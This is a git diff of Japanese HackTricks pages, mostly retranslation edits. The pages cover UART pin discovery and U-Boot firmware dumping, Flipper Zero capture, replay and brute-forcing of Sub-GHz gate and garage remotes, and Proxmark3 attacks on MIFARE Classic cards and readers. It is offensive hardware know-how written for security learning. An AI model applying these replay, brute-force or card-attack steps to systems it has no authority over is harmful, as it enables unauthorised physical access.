- -[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** ## 基本情報 -UARTはシリアルプロトコルであり、コンポーネント間でデータを1ビットずつ転送します。対照的に、パラレル通信プロトコルは複数のチャネルを通じてデータを同時に送信します。一般的なシリアルプロトコルには、RS-232、I2C、SPI、CAN、Ethernet、HDMI、PCI Express、USBがあります。 +UARTはシリアルプロトコルであり、コンポーネント間でデータを1ビットずつ転送します。対照的に、並列通信プロトコルは複数のチャネルを通じてデータを同時に送信します。一般的なシリアルプロトコルには、RS-232、I2C、SPI、CAN、Ethernet、HDMI、PCI Express、およびUSBがあります。 -一般的に、UARTがアイドル状態のとき、ラインは高い状態(論理1の値)に保たれます。次に、データ転送の開始を示すために、送信者は受信者にスタートビットを送信し、その間、信号は低い状態(論理0の値)に保たれます。次に、送信者は実際のメッセージを含む5〜8ビットのデータを送信し、オプションのパリティビットと1または2のストップビット(論理1の値)を続けます。エラー検出に使用されるパリティビットは、実際にはほとんど見られません。ストップビット(またはビット)は、送信の終了を示します。 +一般的に、UARTがアイドル状態のとき、ラインは高い状態(論理1値)に保たれます。次に、データ転送の開始を示すために、送信者は受信者にスタートビットを送信し、その間、信号は低い状態(論理0値)に保たれます。次に、送信者は実際のメッセージを含む5〜8ビットのデータを送信し、オプションのパリティビットと1または2のストップビット(論理1値)を続けます。エラーチェックに使用されるパリティビットは、実際にはほとんど見られません。ストップビット(またはビット)は、送信の終了を示します。 最も一般的な構成を8N1と呼びます:8ビットのデータ、パリティなし、1つのストップビット。たとえば、Cという文字、またはASCIIで0x43を8N1 UART構成で送信したい場合、次のビットを送信します:0(スタートビット);0、1、0、0、0、0、1、1(0x43のバイナリ値)、および0(ストップビット)。 @@ -51,28 +38,28 @@ UARTには4つのポートがあります:**TX**(送信)、**RX**(受信 **マルチメーター**を使用し、デバイスの電源を切った状態で: -* **GND**ピンを特定するには、**連続性テスト**モードを使用し、黒いリードを接地に置き、赤いリードでテストしてマルチメーターから音が聞こえるまで試します。PCBには複数のGNDピンがあるため、UARTに属するものを見つけたかどうかはわかりません。 -* **VCCポート**を特定するには、**DC電圧モード**を設定し、20Vの電圧に設定します。黒いプローブを接地に、赤いプローブをピンに置き、デバイスの電源を入れます。マルチメーターが3.3Vまたは5Vの一定の電圧を測定した場合、Vccピンを見つけたことになります。他の電圧が得られた場合は、他のポートで再試行します。 -* **TX** **ポート**を特定するには、**DC電圧モード**を20Vに設定し、黒いプローブを接地に、赤いプローブをピンに置き、デバイスの電源を入れます。電圧が数秒間変動し、その後Vcc値で安定する場合、TXポートを見つけた可能性が高いです。これは、電源を入れるとデバッグデータを送信するためです。 -* **RXポート**は他の3つに最も近く、電圧の変動が最も少なく、すべてのUARTピンの中で全体的な値が最も低いです。 +* **GND**ピンを特定するには、**連続性テスト**モードを使用し、バックリードを接地に置き、赤いリードでテストします。マルチメーターから音が聞こえるまで続けます。PCBには複数のGNDピンがあるため、UARTに属するものを見つけたかどうかはわかりません。 +* **VCCポート**を特定するには、**DC電圧モード**を設定し、20Vの電圧に設定します。黒いプローブを接地に、赤いプローブをピンに接続します。デバイスの電源を入れます。マルチメーターが3.3Vまたは5Vの一定の電圧を測定した場合、Vccピンを見つけたことになります。他の電圧が得られた場合は、他のポートで再試行します。 +* **TX** **ポート**を特定するには、**DC電圧モード**を20Vの電圧に設定し、黒いプローブを接地に、赤いプローブをピンに接続し、デバイスの電源を入れます。電圧が数秒間変動し、その後Vcc値で安定する場合、TXポートを見つけた可能性が高いです。これは、電源を入れるとデバッグデータが送信されるためです。 +* **RXポート**は他の3つに最も近く、電圧の変動が最も少なく、すべてのUARTピンの中で最も低い全体的な値を持っています。 TXポートとRXポートを混同しても何も起こりませんが、GNDポートとVCCポートを混同すると回路が壊れる可能性があります。 -一部のターゲットデバイスでは、製造元によってRXまたはTX、または両方を無効にすることによりUARTポートが無効にされています。その場合、回路基板の接続を追跡し、ブレークアウトポイントを見つけることが役立ちます。UARTの検出がないことを確認し、回路が壊れていることを示す強い手がかりは、デバイスの保証を確認することです。デバイスが保証付きで出荷されている場合、製造元はデバッグインターフェース(この場合はUART)を残しており、したがってUARTを切断し、デバッグ中に再接続する必要があります。これらのブレークアウトピンは、はんだ付けまたはジャンパーワイヤーで接続できます。 +一部のターゲットデバイスでは、製造元によってRXまたはTX、または両方が無効にされている場合があります。その場合、回路基板内の接続を追跡し、ブレークアウトポイントを見つけることが役立ちます。UARTの検出が確認できず、回路が壊れていることを確認する強い手がかりは、デバイスの保証を確認することです。デバイスが保証付きで出荷されている場合、製造元はデバッグインターフェース(この場合はUART)を残しており、したがってUARTを切断し、デバッグ中に再接続する必要があります。これらのブレークアウトピンは、はんだ付けまたはジャンパーワイヤーで接続できます。 ### UARTボーレートの特定 -正しいボーレートを特定する最も簡単な方法は、**TXピンの出力を見てデータを読み取る**ことです。受信したデータが読み取れない場合は、次の可能なボーレートに切り替えてデータが読み取れるようになるまで繰り返します。USB-to-serialアダプタやBus Pirateのような多目的デバイスを使用し、[baudrate.py](https://github.com/devttys0/baudrate/)のようなヘルパースクリプトと組み合わせてこれを行うことができます。最も一般的なボーレートは9600、38400、19200、57600、115200です。 +正しいボーレートを特定する最も簡単な方法は、**TXピンの出力を見てデータを読み取ること**です。受信したデータが読み取れない場合は、次の可能なボーレートに切り替えて、データが読み取れるようになるまで続けます。これを行うには、USB-to-serialアダプタやBus Pirateのような多目的デバイスを使用し、[baudrate.py](https://github.com/devttys0/baudrate/)のようなヘルパースクリプトと組み合わせることができます。最も一般的なボーレートは9600、38400、19200、57600、および115200です。 {% hint style="danger" %} -このプロトコルでは、1つのデバイスのTXを他のデバイスのRXに接続する必要があることに注意することが重要です! +このプロトコルでは、1つのデバイスのTXを他のデバイスのRXに接続する必要があることに注意してください! {% endhint %} ## CP210X UART to TTYアダプタ -CP210Xチップは、NodeMCU(esp8266を搭載)などの多くのプロトタイピングボードでシリアル通信に使用されます。これらのアダプタは比較的安価で、ターゲットのUARTインターフェースに接続するために使用できます。デバイスには5つのピンがあります:5V、GND、RXD、TXD、3.3V。ターゲットがサポートする電圧に接続して、損傷を避けるようにしてください。最後に、アダプタのRXDピンをターゲットのTXDに、アダプタのTXDピンをターゲットのRXDに接続します。 +CP210Xチップは、NodeMCU(esp8266搭載)などの多くのプロトタイピングボードでシリアル通信に使用されます。これらのアダプタは比較的安価で、ターゲットのUARTインターフェースに接続するために使用できます。デバイスには5つのピンがあります:5V、GND、RXD、TXD、3.3V。ターゲットがサポートする電圧に接続して、損傷を避けるようにしてください。最後に、アダプタのRXDピンをターゲットのTXDに、アダプタのTXDピンをターゲットのRXDに接続します。 -アダプタが検出されない場合は、ホストシステムにCP210Xドライバーがインストールされていることを確認してください。アダプタが検出されて接続されると、picocom、minicom、またはscreenなどのツールを使用できます。 +アダプタが検出されない場合は、ホストシステムにCP210Xドライバがインストールされていることを確認してください。アダプタが検出されて接続されると、picocom、minicom、またはscreenなどのツールを使用できます。 Linux/MacOSシステムに接続されているデバイスをリストするには: ``` @@ -86,13 +73,13 @@ minicomの設定には、次のコマンドを使用します: ``` minicom -s ``` -設定を`Serial port setup`オプションでボーレートやデバイス名などに構成します。 +設定でボーレートやデバイス名を`Serial port setup`オプションで構成します。 -構成後、`minicom`コマンドを使用してUARTコンソールを開始します。 +構成後、`minicom`コマンドを使用してUARTコンソールを起動します。 ## Arduino UNO R3を介したUART(取り外し可能なAtmel 328pチップボード) -UARTシリアルからUSBアダプタが利用できない場合、Arduino UNO R3を使って簡単なハックを行うことができます。Arduino UNO R3は通常どこでも入手可能なため、これにより多くの時間を節約できます。 +UARTシリアルからUSBアダプタが利用できない場合、Arduino UNO R3を使って簡単にハックできます。Arduino UNO R3は通常どこでも入手可能なため、これにより多くの時間を節約できます。 Arduino UNO R3には、ボード自体にUSBからシリアルへのアダプタが組み込まれています。UART接続を得るには、ボードからAtmel 328pマイクロコントローラーチップを抜き出すだけです。このハックは、Atmel 328pがボードにハンダ付けされていないArduino UNO R3のバリアント(SMDバージョンが使用されています)で機能します。ArduinoのRXピン(デジタルピン0)をUARTインターフェースのTXピンに接続し、ArduinoのTXピン(デジタルピン1)をUARTインターフェースのRXピンに接続します。 @@ -100,7 +87,7 @@ Arduino UNO R3には、ボード自体にUSBからシリアルへのアダプタ ## Bus Pirate -このシナリオでは、プログラムのすべての印刷をシリアルモニターに送信しているArduinoのUART通信をスニッフィングします。 +このシナリオでは、プログラムのすべての出力をシリアルモニターに送信しているArduinoのUART通信をスニッフィングします。 ```bash # Check the modes UART>m @@ -172,43 +159,31 @@ Escritura inicial completada: AAA Hi Dreg! AAA waiting a few secs to repeat.... ``` -## Dumping Firmware with UART Console +## UARTコンソールを使用したファームウェアのダンプ -UART Consoleは、ランタイム環境で基盤となるファームウェアを操作するための優れた方法を提供します。しかし、UART Consoleのアクセスが読み取り専用の場合、多くの制約が生じる可能性があります。多くの組み込みデバイスでは、ファームウェアはEEPROMに保存され、揮発性メモリを持つプロセッサで実行されます。したがって、元のファームウェアは製造時にEEPROM自体にあり、新しいファイルは揮発性メモリのために失われるため、ファームウェアは読み取り専用のまま保持されます。したがって、組み込みファームウェアを扱う際にファームウェアをダンプすることは貴重な努力です。 +UARTコンソールは、ランタイム環境で基盤となるファームウェアを操作するための優れた方法を提供します。しかし、UARTコンソールのアクセスが読み取り専用の場合、多くの制約が生じる可能性があります。多くの組み込みデバイスでは、ファームウェアはEEPROMに保存され、揮発性メモリを持つプロセッサで実行されます。したがって、元のファームウェアが製造時にEEPROM自体にあるため、ファームウェアは読み取り専用のまま保持され、新しいファイルは揮発性メモリのために失われることになります。したがって、組み込みファームウェアを扱う際にファームウェアをダンプすることは貴重な努力です。 -これを行う方法はいくつかあり、SPIセクションではさまざまなデバイスを使用してEEPROMから直接ファームウェアを抽出する方法を説明しています。ただし、物理デバイスや外部インタラクションを使用してファームウェアをダンプすることはリスクがあるため、最初にUARTを使用してファームウェアをダンプすることをお勧めします。 +これを行う方法はたくさんあり、SPIセクションではさまざまなデバイスを使用してEEPROMから直接ファームウェアを抽出する方法を説明しています。ただし、物理デバイスや外部インタラクションを使用してファームウェアをダンプすることはリスクがあるため、最初にUARTを使用してファームウェアをダンプすることをお勧めします。 -UART Consoleからファームウェアをダンプするには、まずブートローダーにアクセスする必要があります。多くの人気ベンダーは、Linuxをロードするためのブートローダーとしてuboot(Universal Bootloader)を使用しています。したがって、ubootにアクセスすることが必要です。 +UARTコンソールからファームウェアをダンプするには、まずブートローダーにアクセスする必要があります。多くの人気ベンダーは、Linuxをロードするためのブートローダーとしてuboot(ユニバーサルブートローダー)を使用しています。したがって、ubootにアクセスすることが必要です。 ブートローダーにアクセスするには、UARTポートをコンピュータに接続し、任意のシリアルコンソールツールを使用し、デバイスへの電源供給を切断しておきます。セットアップが完了したら、Enterキーを押して保持します。最後に、デバイスに電源を接続し、ブートさせます。 -これを行うことで、ubootのロードが中断され、メニューが表示されます。ubootコマンドを理解し、ヘルプメニューを使用してそれらをリストすることをお勧めします。これが`help`コマンドかもしれません。異なるベンダーが異なる構成を使用しているため、それぞれを個別に理解することが必要です。 +これを行うと、ubootのロードが中断され、メニューが表示されます。ubootコマンドを理解し、ヘルプメニューを使用してそれらをリストすることをお勧めします。これが`help`コマンドである可能性があります。異なるベンダーが異なる構成を使用しているため、それぞれを個別に理解することが必要です。 -通常、ファームウェアをダンプするためのコマンドは: +通常、ファームウェアをダンプするためのコマンドは次のとおりです: ``` md ``` -which stands for "memory dump". これはメモリ(EEPROMコンテンツ)を画面にダンプします。メモリダンプをキャプチャするために、手順を開始する前にシリアルコンソールの出力をログに記録することをお勧めします。 +これは「メモリダンプ」を意味します。これにより、メモリ(EEPROMコンテンツ)が画面にダンプされます。メモリダンプをキャプチャするために、手順を開始する前にシリアルコンソールの出力をログに記録することをお勧めします。 -最後に、ログファイルから不要なデータをすべて削除し、ファイルを `filename.rom` として保存し、binwalkを使用して内容を抽出します: +最後に、ログファイルから不要なデータをすべて削除し、ファイルを `filename.rom` として保存し、binwalkを使用して内容を抽出します: ``` binwalk -e ``` -これは、16進数ファイルに見つかった署名に従って、EEPROMからの可能な内容をリストします。 +これは、16進数ファイルに見つかった署名に基づいて、EEPROMからの可能な内容をリストします。 -ただし、使用されている場合でも、ubootが常にロック解除されているわけではないことに注意する必要があります。Enterキーが何も反応しない場合は、Spaceキーなどの異なるキーを確認してください。ブートローダーがロックされていて中断されない場合、この方法は機能しません。デバイスのブートローダーがubootであるかどうかを確認するには、デバイスのブート中にUARTコンソールの出力を確認してください。ブート中にubootと表示されるかもしれません。 - -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**に基づいた検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害された**かどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} +ただし、使用されている場合でも、ubootが常にロック解除されているわけではないことに注意する必要があります。Enterキーが何も反応しない場合は、スペースキーなどの異なるキーを確認してください。ブートローダーがロックされていて中断されない場合、この方法は機能しません。デバイスのブートローダーがubootであるかどうかを確認するには、デバイスのブート中にUARTコンソールの出力を確認してください。ブート中にubootと表示されるかもしれません。 {% hint style="success" %} AWSハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -219,8 +194,8 @@ GCPハッキングを学び、練習する: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - [**Flipper Zero**](https://flipperzero.one/)を使用すると、次のことができます: -* **ラジオ周波数をリスニング/キャプチャ/リプレイする:** [**Sub-GHz**](fz-sub-ghz.md) -* **NFCカードを読み取り/キャプチャ/エミュレートする:** [**NFC**](fz-nfc.md) -* **125kHzタグを読み取り/キャプチャ/エミュレートする:** [**125kHz RFID**](fz-125khz-rfid.md) -* **赤外線信号を読み取り/キャプチャ/送信する:** [**Infrared**](fz-infrared.md) -* **iButtonを読み取り/キャプチャ/エミュレートする:** [**iButton**](../ibutton.md) +* **ラジオ周波数をリスン/キャプチャ/リプレイする:** [**Sub-GHz**](fz-sub-ghz.md) +* **NFCカードを読み取る/キャプチャする/エミュレートする:** [**NFC**](fz-nfc.md) +* **125kHzタグを読み取る/キャプチャする/エミュレートする:** [**125kHz RFID**](fz-125khz-rfid.md) +* **赤外線信号を読み取る/キャプチャする/送信する:** [**Infrared**](fz-infrared.md) +* **iButtonを読み取る/キャプチャする/エミュレートする:** [**iButton**](../ibutton.md) * **Bad USBとして使用する** * **セキュリティキー(U2F)として使用する** * **スネークをプレイする** -**その他のFlipper Zeroリソースは** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero) - -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} +**他のFlipper Zeroリソースは** [**https://github.com/djsime1/awesome-flipperzer**](https://github.com/djsime1/awesome-flipperzero) {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -52,7 +38,7 @@ GCPハッキングを学び、実践する: {% endhint %} diff --git a/todo/radio-hacking/flipper-zero/fz-sub-ghz.md b/todo/radio-hacking/flipper-zero/fz-sub-ghz.md index 665874971..71fe2f88b 100644 --- a/todo/radio-hacking/flipper-zero/fz-sub-ghz.md +++ b/todo/radio-hacking/flipper-zero/fz-sub-ghz.md @@ -1,8 +1,8 @@ # FZ - Sub-GHz {% hint style="success" %} -AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、実践する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -15,17 +15,10 @@ GCPハッキングを学び、実践する: {% endhint %} -**Try Hard Security Group** -
+## Intro -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -## はじめに - -Flipper Zeroは、**300-928 MHzの範囲でラジオ周波数を受信および送信**できる内蔵モジュールを備えており、リモコンを読み取り、保存し、エミュレートできます。これらのリモコンは、ゲート、バリア、ラジオロック、リモートスイッチ、ワイヤレスドアベル、スマートライトなどとのインタラクションに使用されます。Flipper Zeroは、あなたのセキュリティが侵害されているかどうかを学ぶ手助けをします。 +Flipper Zeroは、**300-928 MHzの範囲の無線周波数を受信および送信**できる内蔵モジュールを備えており、リモコンを読み取り、保存し、エミュレートできます。これらのコントロールは、ゲート、バリア、無線ロック、リモートコントロールスイッチ、ワイヤレスドアベル、スマートライトなどとのインタラクションに使用されます。Flipper Zeroは、あなたのセキュリティが侵害されているかどうかを学ぶのに役立ちます。
@@ -43,9 +36,9 @@ Flipper Zeroは、[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC リモコンが使用している周波数を見つける方法 {% endhint %} -分析中、Flipper Zeroは周波数設定で利用可能なすべての周波数で信号強度(RSSI)をスキャンしています。Flipper Zeroは、-90 [dBm](https://en.wikipedia.org/wiki/DBm)より高い信号強度を持つ最高のRSSI値の周波数を表示します。 +分析中、Flipper Zeroは周波数設定で利用可能なすべての周波数で信号強度(RSSI)をスキャンしています。Flipper Zeroは、-90 [dBm](https://en.wikipedia.org/wiki/DBm)より高い信号強度を持つRSSI値が最も高い周波数を表示します。 -リモコンの周波数を特定するには、次の手順を実行します。 +リモコンの周波数を特定するには、次の手順を実行します: 1. リモコンをFlipper Zeroの左側に非常に近く置きます。 2. **メインメニュー** **→ Sub-GHz**に移動します。 @@ -58,17 +51,17 @@ Flipper Zeroは、[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC 使用されている周波数に関する情報を見つける(使用されている周波数を見つける別の方法) {% endhint %} -**読み取り**オプションは、指定された変調で**設定された周波数をリスニング**します:デフォルトは433.92 AMです。**読み取り中に何かが見つかった場合、**画面に**情報が表示されます**。この情報は、将来的に信号を再現するために使用できます。 +**読み取り**オプションは、指定された変調で**設定された周波数をリスニング**します:デフォルトは433.92 AMです。読み取り中に**何かが見つかった場合**、**情報が画面に表示されます**。この情報は、将来信号を再現するために使用できます。 読み取り中は、**左ボタン**を押して**設定する**ことができます。\ この時点で、**4つの変調**(AM270、AM650、FM328、FM476)と**いくつかの関連周波数**が保存されています:
-**興味のある周波数を設定できますが、**リモコンが使用している可能性のある周波数が**不明な場合は、HoppingをONに設定**(デフォルトはOFF)し、Flipperがそれをキャプチャして周波数を設定するために必要な情報を提供するまでボタンを何度も押してください。 +**興味のある周波数を設定できます**が、リモコンが使用している周波数が**不明な場合**は、**ホッピングをONに設定**(デフォルトはOFF)し、Flipperがそれをキャプチャして周波数を設定するために必要な情報を提供するまでボタンを何度も押してください。 {% hint style="danger" %} -周波数を切り替えるには時間がかかるため、切り替え時に送信された信号が失われる可能性があります。信号の受信を改善するために、周波数アナライザーによって決定された固定周波数を設定してください。 +周波数を切り替えるのには時間がかかるため、切り替え時に送信された信号が見逃される可能性があります。信号受信を改善するために、周波数アナライザーによって決定された固定周波数を設定してください。 {% endhint %} ### **生データの読み取り** @@ -77,13 +70,13 @@ Flipper Zeroは、[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC 設定された周波数で信号を盗む(再生する) {% endhint %} -**生データの読み取り**オプションは、リスニング周波数で送信された信号を**記録**します。これを使用して、信号を**盗み**、**繰り返す**ことができます。 +**生データの読み取り**オプションは、リスニング周波数で送信された信号を**記録**します。これは、信号を**盗む**ために使用でき、**繰り返す**ことができます。 -デフォルトでは、**生データの読み取りも433.92 AM650**で行われますが、読み取りオプションで興味のある信号が**異なる周波数/変調**であることがわかった場合は、左ボタンを押してそれを変更することもできます(生データの読み取りオプション内で)。 +デフォルトでは、**生データの読み取りもAM650の433.92で行われます**が、読み取りオプションで興味のある信号が**異なる周波数/変調**であることがわかった場合は、(生データの読み取りオプション内で)左を押すことでそれを変更できます。 ### ブルートフォース -ガレージドアで使用されるプロトコルがわかっている場合、Flipper Zeroを使用して**すべてのコードを生成し、送信することが可能です。**これは一般的なガレージのタイプをサポートする例です:[**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce) +ガレージドアで使用されるプロトコルがわかっている場合、Flipper Zeroを使用して**すべてのコードを生成し、送信することが可能です。** これは一般的なガレージのタイプをサポートする例です:[**https://github.com/tobiabocchi/flipperzero-bruteforce**](https://github.com/tobiabocchi/flipperzero-bruteforce) ### 手動で追加 @@ -93,22 +86,22 @@ Flipper Zeroは、[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC #### [サポートされているプロトコルのリスト](https://docs.flipperzero.one/sub-ghz/add-new-remote) -| Princeton\_433(ほとんどの静的コードシステムで動作) | 433.92 | 静的 | -| --------------------------------------------------------------- | ------ | ------- | -| Nice Flo 12bit\_433 | 433.92 | 静的 | -| Nice Flo 24bit\_433 | 433.92 | 静的 | -| CAME 12bit\_433 | 433.92 | 静的 | -| CAME 24bit\_433 | 433.92 | 静的 | -| Linear\_300 | 300.00 | 静的 | -| CAME TWEE | 433.92 | 静的 | -| Gate TX\_433 | 433.92 | 静的 | -| DoorHan\_315 | 315.00 | 動的 | -| DoorHan\_433 | 433.92 | 動的 | -| LiftMaster\_315 | 315.00 | 動的 | -| LiftMaster\_390 | 390.00 | 動的 | -| Security+2.0\_310 | 310.00 | 動的 | -| Security+2.0\_315 | 315.00 | 動的 | -| Security+2.0\_390 | 390.00 | 動的 | +| Princeton\_433(静的コードシステムの大多数で動作) | 433.92 | 静的 | +| --------------------------------------------------- | ------ | ----- | +| Nice Flo 12bit\_433 | 433.92 | 静的 | +| Nice Flo 24bit\_433 | 433.92 | 静的 | +| CAME 12bit\_433 | 433.92 | 静的 | +| CAME 24bit\_433 | 433.92 | 静的 | +| Linear\_300 | 300.00 | 静的 | +| CAME TWEE | 433.92 | 静的 | +| Gate TX\_433 | 433.92 | 静的 | +| DoorHan\_315 | 315.00 | 動的 | +| DoorHan\_433 | 433.92 | 動的 | +| LiftMaster\_315 | 315.00 | 動的 | +| LiftMaster\_390 | 390.00 | 動的 | +| Security+2.0\_310 | 310.00 | 動的 | +| Security+2.0\_315 | 315.00 | 動的 | +| Security+2.0\_390 | 390.00 | 動的 | ### サポートされているSub-GHzベンダー @@ -128,15 +121,9 @@ Flipper Zeroは、[](https://www.st.com/en/nfc/st25r3916.html#overview)[CC * [https://docs.flipperzero.one/sub-ghz](https://docs.flipperzero.one/sub-ghz) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、実践する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/todo/radio-hacking/proxmark-3.md b/todo/radio-hacking/proxmark-3.md index 28c26a272..b49eb6606 100644 --- a/todo/radio-hacking/proxmark-3.md +++ b/todo/radio-hacking/proxmark-3.md @@ -15,22 +15,14 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Proxmark3を使用したRFIDシステムの攻撃 -最初に必要なのは[**Proxmark3**](https://proxmark.com)を持っていて、[**ソフトウェアとその依存関係をインストールすること**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)です。 +最初に必要なのは[**Proxmark3**](https://proxmark.com)を持っていて、[**ソフトウェアとその依存関係をインストールすること**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**です**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)。 ### MIFARE Classic 1KBの攻撃 -それは**16セクター**を持ち、各セクターには**4ブロック**があり、各ブロックには**16B**が含まれています。UIDはセクター0のブロック0にあります(変更できません)。\ -各セクターにアクセスするには、**2つのキー**(**A**と**B**)が必要で、これらは**各セクターのブロック3**(セクタートレーラー)に保存されています。セクタートレーラーは、**各ブロック**の**読み取りおよび書き込み**権限を与える**アクセスビット**も保存しています。\ +それは**16セクター**を持ち、それぞれに**4ブロック**があり、各ブロックには**16B**が含まれています。UIDはセクター0のブロック0にあり(変更できません)。\ +各セクターにアクセスするには、**2つのキー**(**A**と**B**)が必要で、これらは**各セクターのブロック3**(セクタートレーラー)に保存されています。セクタートレーラーは、**2つのキー**を使用して**各ブロック**の**読み取りおよび書き込み**権限を与える**アクセスビット**も保存しています。\ 2つのキーは、最初のキーを知っていれば読み取り権限を与え、2番目のキーを知っていれば書き込み権限を与えるのに役立ちます(例えば)。 いくつかの攻撃が実行できます。 @@ -74,26 +66,19 @@ Proxmark3ソフトウェアには、簡単なタスクを実行するために ``` proxmark3> script run mfkeys ``` -あなたは**タグリーダーをファズ**するためのスクリプトを作成できます。**有効なカード**のデータをコピーするために、**Luaスクリプト**を書いて、1つ以上のランダムな**バイト**を**ランダム化**し、どのイテレーションで**リーダーがクラッシュ**するかを確認します。 - -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - +あなたは**タグリーダーをファズ**するスクリプトを作成できます。**有効なカード**のデータをコピーするために、1つ以上のランダムな**バイト**を**ランダム化**し、**リーダーがクラッシュ**するかどうかを各イテレーションで確認する**Luaスクリプト**を書くだけです。 {% hint style="success" %} -AWSハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、練習する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricksをサポートする +Support HackTricks -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** -* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。** +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} diff --git a/windows-hardening/checklist-windows-privilege-escalation.md b/windows-hardening/checklist-windows-privilege-escalation.md index 66fb99fc6..8b8525bbc 100644 --- a/windows-hardening/checklist-windows-privilege-escalation.md +++ b/windows-hardening/checklist-windows-privilege-escalation.md @@ -1,8 +1,8 @@ # チェックリスト - ローカルWindows特権昇格 {% hint style="success" %} -AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、実践する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -15,15 +15,7 @@ GCPハッキングを学び、実践する: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -### **Windowsローカル特権昇格ベクトルを探すための最良のツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Windowsローカル特権昇格ベクトルを探すための最良のツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) ### [システム情報](windows-local-privilege-escalation/#system-info) @@ -46,13 +38,13 @@ GCPハッキングを学び、実践する:
